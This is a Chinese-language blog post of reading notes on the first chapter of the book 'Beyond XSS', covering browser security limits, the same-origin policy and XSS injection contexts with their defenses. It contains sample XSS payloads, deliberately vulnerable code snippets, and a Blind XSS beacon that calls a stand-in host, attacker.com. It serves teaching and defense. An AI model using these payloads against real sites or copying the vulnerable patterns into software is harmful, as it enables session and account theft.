
前言#
最近開始讀《Beyond XSS:探索網頁前端資安宇宙》這本書,同時也參加讀書會和其他夥伴一起討論書中內容,不過還是覺得要理解透徹仍需要自己消化並輸出比較有效,因此一樣想依據書中章節順序,撰寫文章說明相關概念,作為我的讀書筆記。文章內容會以書中敘述為主,輔以相關資料,因此部分內容可能是書中沒有、而是我另外補充的資訊,範例程式碼也不一定會和書中相同,示意圖有些是我按照自己的理解重繪的,也不一定和書中圖完全相同,想了解完整書籍內容一樣歡迎大家去買書看。資安算是我比較不熟悉的領域,內容若有任何錯誤歡迎大家回覆告訴我~
此篇文章主要敘述的是書中第一章。
第一章剛好也是我在公司內部技術分享報告的內容,有另外做一份簡報,也可以參考看看簡報,雖然內容大同小異XD,簡報連結點此🔗。
瀏覽器的安全模型#
探討網頁前端資安前,我們需要先了解網頁前端的運作,我們要知道網頁前端程式碼是在瀏覽器上執行的,是由瀏覽器負責 render HTML、解析 CSS 並執行 JavaScript 的。而瀏覽器又是在作業系統底下的應用程式運作的,因此網頁前端在整個作業系統中的層級(角色)是這樣:作業系統→應用程式(瀏覽器)→ 網頁前端 JavaScript。

如上圖所示,越內層的限制越多,因此網頁前端的限制會比後端伺服器還多。在前端開發時會做不到某些事,不是開發者不想做,而是瀏覽器不允許你做。
簡單一句話總結就是:「瀏覽器不給你的,你拿不到,拿不到就是拿不到。」
那瀏覽器到底限制了哪些東西不讓前端開發者做呢?接下來看看瀏覽器的安全限制。
瀏覽器安全限制:禁止主動讀寫本機的檔案#
後端的程式碼是在作業系統上運行的,若沒特別限制的話,想做什麼都可以。然而,前端程式卻不能「主動」讀寫電腦裡面的檔案,例如當你用以下程式碼想讀檔案時,會印出錯誤:Not allowed to load local resource: file:///data/index.html。
// ⛔ 不能「主動」讀寫檔案fetch("file:///data/index.html");window.open("file:///data/index.html");但前端程式是可以「被動」讀取檔案,可被動由使用者透過 input 選檔案後,再用 FileReader 讀取檔案內容:
<!-- ✅ 可被動由使用者透過 input 選檔案後,再用 FileReader 讀取檔案內容 --><input type="file" onchange="show(this)" />
<script> function show(input) { const reader = new FileReader(); reader.onload = (event) => { alert(event.target.result); }; reader.readAsText(input.files[0]); }</script>為何瀏覽器會限制前端主動讀寫檔案?可以先反過來思考,如果網頁前端可以主動讀寫檔案,會發生什麼事?那網頁前端就可以隨意讀取你電腦裡的 SSH key或讀取你的隱私資訊檔案,聽起來非常可怕,你電腦內的東西毫無隱私可言,完全暴露在外。因此為保護使用者,避免資安問題,瀏覽器會有此安全限制。
關於讀寫檔案的漏洞案例,例如 Opera 在 2021 年的漏洞 Bug Bounty Guest Post: Local File Read via Stored XSS in The Opera Browser,Opera 這個瀏覽器有提供一個特殊筆記頁讓使用者建立筆記,而這個筆記頁網址「operafile:// 的網頁並執行網頁截圖,且建立筆記時可加入連結 URL,這個連結除了正常的網址如 https://medium.com/ 以外,也可加入 javascript:alert(1) 這類型的連結,可透過 javascript:alert(1)這類連結來執行程式碼,形成 XSS。因此攻擊者可利用 XSS 程式碼來開啟本機檔案、截圖,再傳到攻擊者伺服器,以此竊取受害者隱私資訊。
瀏覽器安全限制:禁止呼叫系統 API#
瀏覽器有提供的 API,網頁前端 JavaScript 可以用,例如我們可用 fetch 發出請求、用 Web Bluetooth API 做藍芽應用、用 MediaDevices 取得使用者麥克風和攝影機。不過瀏覽器在提供這些 API 的同時,也會實作權限管理,當前端開發者想存取使用者的系統 API 功能時,瀏覽器通常會跳出通知要求使用者主動允許權限,網頁才能存取。

相對的,瀏覽器沒提供的系統 API,前端無法使用,例如網頁前端無法修改使用者的系統和網路設定,不能去更改你的電腦桌布顏色或更改你要連到哪個 Wi-Fi 網路。而之所以做不到,不是 JavaScript 做不到,JavaScript 只是程式語言,之所以做不到,是因為執行環境瀏覽器沒提供對應的系統 API。
為何瀏覽器要限制執行系統面的操作?一樣也是為了保護使用者,如果你只是開個網頁 Google 一個問題,結果關掉頁面後整個桌布的背景都被改掉、網路設定被調整,想想都覺得非常可怕。
瀏覽器安全限制:禁止存取其他網頁的內容#
瀏覽器最重要的安全假設是:「一個網頁永遠不該有權限存取到其他網頁內容」,每個網頁只有針對自己的權限,只可以改自己的 HTML、執行自己的 JavaScript,不該取得其他網頁的資料,而這就稱為同源政策(same-origin policy,有時簡稱 SOP)。
而所謂不該取得其他網頁的「資料」,不只是頁面內容,連網址都不行,可以試試在 Google 的 console 執行以下程式碼:
var win = window.open('https://medium.com/')setTimeout(() => { console.log(win.location.href)}, 3000)瀏覽器會另開分頁並載入 Medium 首頁,但 console 會有下圖的錯誤訊息,由此可知,在一個頁面無法存取其他頁面的東西,連網址也不行。

瀏覽器要實作禁止存取其他網頁資料的功能並不容易,2018 年 Google Project Zeror 團隊發表了嚴重漏洞 Meltdown 與 Specture,問題就在於攻擊者可透過 CPU 缺陷存取同一個 process 資料(參考此篇文章,可看出影響範圍非常大),因此瀏覽器不只要阻擋不同來源網站的存取,還要確保兩個網頁在不同 process,以 process 分隔開以避免存取其他網站資料。後續Chrome 也將架構調整得更安全,確保不同網頁無論用什麼方式載入(包含:圖片、iframe),都會用不同 process 處理,這系列安全措施稱為 Site Isolation。
另外一個可存取其他網頁資料的漏洞案例如 2022 年的 Issue 1359122: Security: SOP bypass leaks navigation history of iframe from other subdomain if location changed to aboutframes[0].location = 'about:blank' 的方式將 iframe 重導向讓 iframe 與頁面同 origin,然後再去讀 iframe 歷史紀錄來拿到 iframe 的前一個、不同 origin 的網址。
讀到網址會有什麼問題?如果網址有包含 token 像是這樣:https://auth.monica.tw/login?token=xxx,那攻擊者就可透過讀取網址拿到使用者的 token(前提是兩個網站要 same-site,擁有相同 subdomain),示意圖如下,而這不應該發生,當 iframe 重導向後,navigation.entries()就該清空,不能存取之前的歷史紀錄。

嚴重漏洞:遠端程式碼執行(Remote Code Execution)#
遠端程式碼執行(Remote Code Execution,簡稱 RCE)意思是攻擊者可鑽瀏覽器的漏洞,並用 JavaScript 在電腦上執行任意指令。舉例來說,當使用者打開https://blog.huli.tw/ 閱讀文章後關掉頁面,但部落格上有運用 RCE 漏洞的 JavaScript 程式碼,可對使用者的電腦下指令、竊取資料或植入惡意軟體。(補充:https://blog.huli.tw/ 的部落格是安全的!請放心閱讀~)
漏洞案例 CVE-2021–30632 就是一個 RCE 的例子,只要用 Chrome(v93 以前)打開一個網頁,攻擊者就可直接入侵電腦並執行指令,攻擊者利用 JavaScript V8 引擎為改善效能的 bug 來執行惡意程式碼。JavaScript V8 引擎會為 JavaScript 程式碼做些改善效能的事,例如:直接編譯經常執行的程式碼,之後就可直接執行編譯後的程式碼,舉例來說,如果有個 add 函式總是接收兩個參數,且參數總是正整數,那 V8 引擎可能會將此函式編譯成 machine code,之後就直接執行編譯後的 machine code。
而攻擊者就是利用這個優化策略,讓 V8 引擎去優化一段函式,並讓 V8 誤以為函式傳入的參數一定是 double 型別陣列,因此固定去取某個特定的記憶體位置(例如:固定取x + 160 的記憶體位置);但實際上攻擊者傳入的參數是 int 型別陣列,固定取x + 160 的記憶體位置會導致記憶體越界讀取,讀到不該讀取的記憶體位置(嘗試讀取超出原本分配的記憶體位置稱為 Out-Of-Bounds Read,OOB),這種混淆不同參數型態的做法稱為 Type Confusion。攻擊者以 Type Confusion 達到讀取/寫入超出範圍的記憶體位置,再搭配 WebAssembly 特性,把編譯過的 WebAssembly 蓋掉,替換為任意程式碼,就可達到任意程式碼執行。
關於此漏洞案例,更詳細的解釋可看此篇解析文章,對漏洞原始碼有興趣的可點此。
補充:關於 V8 引擎的運作過程,可參考執行 JavaScript 的 V8 引擎做了什麼?這篇文章,有提到 V8 引擎在編譯 JavaScript 時會採用 Just-In-Time(JIT)的方式,JIT 結合解釋和編譯兩種方式,在執行 JavaScript 時,能分析程式碼執行過程的情報,並在取得足夠情報時,將相關程式碼再編譯成效能更快的機器碼。
XSS 是什麼#
談到前端資安,應該不少人聽過 XSS,接下來就來好好了解 XSS 吧~
XSS 的全名是 Cross-site scripting,之所以不簡稱為 CSS,是因爲 CSS 已經是 Cascading Style Sheets 的簡寫。XSS 是什麼?XSS 代表攻擊者可在其他人網站上執行 JavaScript 程式碼。
假如有個網站這樣寫:
<?php echo "Hello, " . $\_GET\['name'\];?>當我們瀏覽 index.php?name=monica 時,頁面會出現:「Hello, monica」,但當我們瀏覽 index.php?name=<script>alert(1)</script> 時,頁面內容變成 Hello, <script>alert(1)</script> ,同時 <script>會被當成 JavaScript 程式執行,頁面會跳出 alert 視窗。
你可能想說,使用者亂輸入網址,跳出 alert 視窗會怎樣嗎?這裡要先補充,大部分 XSS 範例都是執行 alert(1) 來證明可以執行 JavaScript 程式碼,但 XSS 用途絕對不是只有跳出 alert 這麼簡單,使用 alert(1) 作為範例只是為了方便示範可以執行 JavaScript 而已,實際上當攻擊者達成 XSS 後,他可以做很多事,例如:
- 偷
localStorage資料 - 如果沒有設 HttpOnly 的 cookie,可用
document.cookie拿到 cookie - 如果偷不到 cookie,可直接用
fetch()呼叫 API,以受害者身分發請求
(補充:有無拿到 token,會影響可攻擊的範圍與攻擊的時間限制,這之後會再提到)
也因此當我們要更改密碼或進行敏感操作(如:銀行轉帳)時,要再輸入現在的密碼或第二組密碼,就是因為我們自己(使用者本人)知道自己的密碼,但攻擊者不知道,假設 /updatePassword API 需要提供 currentPassword 和 newPassword 兩個欄位才能更改,攻擊者雖然可以拿 token 去打 /updatePassword API,但因為/updatePassword API 要求提供currentPassword 的欄位,而攻擊者不知道我們現在的密碼是什麼,因此即使有 token 也無法更改密碼;但如果不需 currentPassword,攻擊者就可拿 auth token 打 /updatePassword API 然後更改密碼,拿到受害者整個帳號。因此輸入現在密碼或第二組密碼就是為了要防範 XSS 的攻擊,避免攻擊者拿到受害者 token 去做敏感操作。
XSS 的來源與分類#
為何會有 XSS 問題?因為我們直接在頁面顯示使用者輸入,而使用者可藉機輸入惡意 payload 植入 JavaScript 程式碼。而要分類 XSS ,可分為兩種角度來看:
1. 內容是如何被放到頁面上的#
從後端放上
例如上方 PHP 範例,攻擊者內容直接在後端輸出,瀏覽器收到 HTML 時,裡面已有 XSS payload。
從前端放上
例如以下程式碼:
<div>Hello, <span id\="name"></span></div><script> const qs = new URLSearchParams(window.location.search); const name = qs.get("name"); document.querySelector("#name").innerHTML = name;</script>可透過 index.html?name=<script>alert(1)</script> 來植入想要的內容,此方式是從前端輸出內容,JavaScript 用 innerHTML 將 payload 新增到頁面上。小補充,以 innerHTML 注入的 <script> 不會有效果,所以這方式不會跳出 alert。
而區分區分前端與後端輸出的方式,就是在網頁按右鍵,檢視網頁原始碼,有在原始碼的是後端輸出,沒有的就是前端用 JavaScript 動態調整。
2. Payload 有沒有被儲存#
Payload 沒有被儲存
例如上述從後端或前端放上內容的方式,都是直接拿 query string 內容呈現在頁面上,payload 沒有被儲存。而攻擊方式就是讓目標點擊帶有 XSS 的連結,觸發攻擊,攻擊的對象就是點擊連結的那一個人。
Payload 有被儲存
例如在留言板或貼文內容中插入HTML,並帶有 <script>。攻擊方式就是插入帶有 <script> 的留言,攻擊的對象是任何觀看到這則留言或貼文的人,也因此這個攻擊可變成 wormable,可自我複製並利用 XSS 幫受害者發文,擴大攻擊人數範圍。
其他還有一些特殊的 XSS 分類,例如:
Self-XSS#
Self-XSS 可分為兩種理解角度,一是「自己攻擊自己」,例如打開網頁開發者工具,自己貼上 JavaScript 程式碼;二是「只能攻擊到自己的 XSS」,例如個人資料的電話號碼輸入框有 XSS 漏洞,使用者可以自己在輸入框輸入 JavaScript 程式碼,但因為電話屬於個人資料,只會有自己看得到 alert(1)的視窗,不過跟其他漏洞串接後,有可能別人就看得到。
Blind XSS#
Blind XSS 指的是 XSS 在你看不到的地方以及不知道的時間點被執行,例如在網頁前台的輸入框都沒有 XSS 漏洞,但其實後台顯示資料的欄位有漏洞,還是可執行 XSS 攻擊。會稱為 Blind 是因為平常測試時不會知道,因為一般沒有存取後台的權限、或是不知道後台的存在。
測試 Blind XSS 的方式就是將 payload 改成會傳送封包的,如 fetch('https://attacker.com/xss'),當 XSS 觸發時,server 會收到請求,就可觀察請求從哪裡送出。
Blind XSS 的漏洞案例例如 Blind Stored XSS Via Staff Name,可在商家後台新增員工,並在員工姓名插入 XSS payload,接著就會在內部後台觸發 XSS 的攻擊。
能夠執行 JavaScript 的方式#
接下來要來看看幾種可執行 JavaScript 的方式,為什麼要了解這些呢?我們要先了解攻擊者會用什麼方式攻擊,才知道對應該如何防禦。就如 Huli 所寫的:
學習攻擊,就是學習防禦,必須先知道怎麼攻擊才知道怎麼防禦,才能防得澈底、防得有效率。
當我們掌控 HTML 後,要怎麼執行 JavaScript?基本上可分為三種方式:
1. <script> 標籤#
透過<script> 標籤可執行 JavaScript 程式碼,但<script> 標籤容易被 WAF(Web Application Firewall)識別,且在 innerHTML 情境下無效。
小補充,innerHTML搭配 iframe 就可執行 script,iframe 的 srcdoc 屬性可放完整 HTML 表示 iframe 的內容,如果此 iframe 與當前頁 same-origin,將 <script> 放在 srcdoc 屬性內就會執行:
document.body.innerHTML = '<iframe srcdoc="<script>alert(1)</script>"></iframe>'2. 屬性中的 event handler (都會是 on 開頭)#
屬性中的 event handler 所填入的 JavaScript 也可被執行,event handler 例如:
onerroronloadonfocusonbluronanimationendonclickonmouseenter
屬性的 event handler 的程式碼範例如下:
<img src="not_exist" onerror="alert(1)" /><button onclick\="alert(1)">click me</button><svg onload="alert(1)"></svg>例如載入不存在的圖片路徑,觸發執行 onerror 程式碼,或是點擊按鈕後觸發 XSS(但這需要使用者做一些動作才能觸發),或是載入 svg 時觸發 onload 事件。
3. javascript: 偽協議#
例如在 a 連結的 href 屬性加入 javascript: ,點連結後觸發執行 JavaScript:
<a href=javascript:alert(1)>Link</a>補充:讓
a連結點擊後沒反應的方式
<a href=javascript:void(0)>Link</a>補充:HTML 的簡寫
- HTML 屬性的雙引號”不是必要,如果內容沒空格,可拿掉雙引號
- HTML 標籤和屬性間空格可用/取代
<svg/onload=alert(1)>不同情境的 XSS 以及防禦方式#
XSS 的注入點就是可以植入 payload 的地方,例如上述的 document.querySelector(‘#name’).innerHTML = name 可透過 innerHTML 植入 payload,因此這行就是注入點,而注入點也會影響攻擊與防禦方式。
接下來看看不同的注入點與防禦方式。
注入 HTML#
例如以下範例,可透過網址在 innerHTML 填入任何想要的元素:
<div> Hello, <span id="name"></span></div><script> const qs = new URLSearchParams(window.location.search) const name = qs.get('name') document.querySelector('#name').innerHTML = name</script>防禦方式就是編碼或跳脫使用者輸入的 < 和 > ,讓使用者無法插入新 HTML 標籤。
注入屬性#
使用者輸入的內容會作為某屬性的值,例如以下:
<div id="content"></div><script> const qs = new URLSearchParams(window.location.search) const clazz = qs.get('clazz') document.querySelector('#content').innerHTML = ` <div class="${clazz}"> Demo </div> `</script>在這情境下,輸入 <img src=not_exist onerror=alert(1)> 無效,因屬性值不會被當作新標籤。這情況下可分為兩種攻擊方式:
- 先跳脫屬性、關閉標籤後再加入新標籤
植入的 payload 是"><img src=not_exist onerror=alert(1)>
<!-- 改成這樣 --><div class=""><img src=not_exist onerror=alert(1)>"> Demo</div>- 跳脫屬性,加入 event handler(不須加入新 HTML 標籤)
植入的 payload 是"tabindex=1 onfocus="alert(1)" x="
<!-- 改成這樣 --><div class="" tabindex=1 onfocus="alert(1)" x=""> Demo</div>防禦方法是把<>"'這些字元都做編碼,且避免寫出沒有用引號包住的屬性,若屬性沒有用引號包住,即使對<>"'編碼,攻擊者還是可用空格新增屬性,例如以下,payload 可用 x tabindex=1 onfocus=alert(1)來攻擊。
// ⛔ 不要這樣寫document.querySelector('#content').innerHTML = \` <div class=${clazz}> Demo </div>\`補充:div 正常情況下無法
focus,所以blur和focus方法都沒用,要加上tabindex才可用 tab 或 JavaScriptfocus方法獲得焦點。
注入 JavaScript#
使用者的輸入會反映在 JavaScript 內,例如以下:
<script> const name = "<?php echo $_GET['name'] ?>"; alert(name);</script>可在 name payload 加入 </script> 提前關閉標籤,再加上其他標籤來達成攻擊,此方式使用者輸入不可換行。
另外一種是使用者輸入可換行,使用 template string 來讓輸入允許換行:
<script> const name = ` Hello, <?php echo $_GET['name'] ?> `; alert(name);</script>此時可在 name payload 加入 ${alert(1)} 來攻擊。
防禦方法一樣是把<>"'這些字元都做編碼,並謹慎對待 template string。
什麼是 javascript: 偽協議?#
真協議是像 HTTP、TCP、FTP 這類的通訊用的協議,而偽協議指的是 mailto:、tel:、data: 這類與應用程式有關聯的協議,例如 mailto:會打開使用者的信箱應用程式,而 javascript: 也屬於偽協議其中之一,可用來執行 JavaScript。
以下範例說明哪些地方可用javascript:偽協議,有些是需要點擊後才觸發,有些不用任何操作就會觸發。
<!-- 點擊後觸發 --><a href="javascript:alert(1)">Link</a>
<!-- 點擊後觸發 --><form action="javascript:alert(1)"> <button>submit</button></form>
<!-- 點擊後觸發 --><form id="f2"></form><button form="f2" formaction="javascript:alert(2)">submit</button>
<!-- 不用任何操作就會觸發 --><iframe src="javascript:alert(1)"></iframe>javascript: 的危險性#
javascript: 很危險,因為這是經常被忽略的地方,但應用上卻很常被使用,舉例來說,如果有個編輯器應用程式,可讓使用者填入 Youtube 影片網址,就可在文章自動嵌入該影片,可能會這樣寫:
<iframe src="<?= $youtube_url ?>" width="500" height="300"></iframe>看似正常,但如果把javascript:alert(1)當作 YouTube 網址填入,就是 XSS 漏洞。
又例如在個人頁可填入自己的部落格網址並加上超連結,當這個連結是 javascript:alert(1)時,就可執行 XSS 攻擊,實際漏洞案例如這個 Hahow XSS 漏洞。
一般來說,現代前端框架(如:React、Vue)會做好跳脫字元的保護,如果沒使用 React 的 dangerouslySetInnerHTML 或 Vue 的 v-html,基本上不會有問題,但這些框架不會防範 href 屬性的內容,以以下 React 範例來說,會將使用者輸入的值作為 href 內容,當輸入 javascript:alert(1)時,就會跳出 alert 視窗。
import { useState } from "react";
export function App(props) { const [href, setHref] = useState("");
const handleInputChange = (event) => { // XSS payload: javascript:alert(1) setHref(event.target.value); };
return ( <div> <input type="text" placeholder="請輸入網址" value={href} onChange={handleInputChange} /> <br /> <a href={href}>click me</a> </div> );}
export default App;雖然 React v16.9 後會針對javascript: 在 console 印出警告(ref),可能未來會針對 javascript: 跳錯,但目前還是會執行。
另外補充,編輯器套件 lexical 也曾有過處理連結時沒防禦 javascript: 的 issue,所以選用第三方套件時也需要注意一下~
頁面跳轉的風險#
前端應用很常見的登入後重新導向功能,就是在使用者登入後,將頁面導向原本想訪問的頁面。
const searchParams = new URLSearchParams(location.search)window.location = searchParams.get('redirect')上述程式碼有何問題?問題在於 window.location 也可填入 javascript: 偽協議,因此有可能登入後要轉向時,觸發執行惡意 JavaScript 程式碼。
漏洞案例例如 Matters News 網站曾有的漏洞,該網站在使用者登入後呼叫 redirectToTarget,redirectToTarget 函式會從網址的 query stringtarget 拿出重導向的目標網址,而如果登入網址是 https://matters.news/login?target=javascript:alert(1),登入後執行轉導時就會跳出 alert,就有辦法執行 XSS 攻擊。在登入頁有 XSS 漏洞的話,攻擊者就可寄送包含惡意連結的釣魚信,使用者點擊後進入合法網站並輸入帳密,登入後攻擊者再以 XSS 偷走帳密,並把使用者轉回首頁,使用者無法察覺帳密已被盜取,非常危險。
javascript: 防禦方式#
最推薦的防禦方式是使用 sanitize-url 這類第三方 library 來防禦。
如果要自己防禦的話,不是不行,但要注意的細節很多,可以分為以下幾點來看:
- ⛔ 過濾字串中的
javascript:HTML 屬性值可編碼,以下方式仍可攻擊,因此單純過濾javascript:是沒有用的。
<a href="javascript:alert(1)">click me</a>- ✅ 只允許
http://跟https://開頭字串
基本上OK。 - ✅✅ 利用 JavaScript 解析 URL
以new URL解析,根據 protocol 判斷是否為合法協議,此方式更嚴謹。
console.log(new URL('javascript:alert(1)'))/* { // ... href: "javascript:alert(1)", origin: "null", pathname: "alert(1)", // 若 protocol 為 javascript:,代表是偽協議 protocol: "javascript:", }*/- ✅ 用 RegExp 判斷
可參考 React 的實作(ref)。
const isJavaScriptProtocol = /^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;- 🔺 連結加入
target="_blank"屬性,由瀏覽器處理此問題
各瀏覽器點javascript:開頭連結的反應分別為:- Chrome:新開一個網址為
about:blank#blocked的分頁 - Firefox:新開一個沒網址的分頁
- Safari:什麼都不會發生
不過此方式仍有漏洞,若用滑鼠中鍵點連結,仍會執行 JavaScript,還是要修正 root cause。
- Chrome:新開一個網址為
最後補充,2023 年通訊軟體 Telegram 網頁版被發現的漏洞就和 javascript: 有關(出處: История одной XSS в Telegram),最後修復方式就是用 new URL 檢查,確認 protocol 非javascript:。
小結#
開發時應時刻留意可能有 XSS 漏洞的地方,尤其要注意javascript: 偽協議的處理,且謹記千古名言:
永遠不要相信來自使用者的輸入
Reference:#
- https://aszx87410.github.io/beyond-xss/ch1/browser-security-model/
- https://aszx87410.github.io/beyond-xss/ch1/xss-introduction/
- https://aszx87410.github.io/beyond-xss/ch1/know-xss-a-bit-more/
- https://aszx87410.github.io/beyond-xss/ch1/javascript-protocol/
如有任何問題歡迎聯絡、不吝指教✍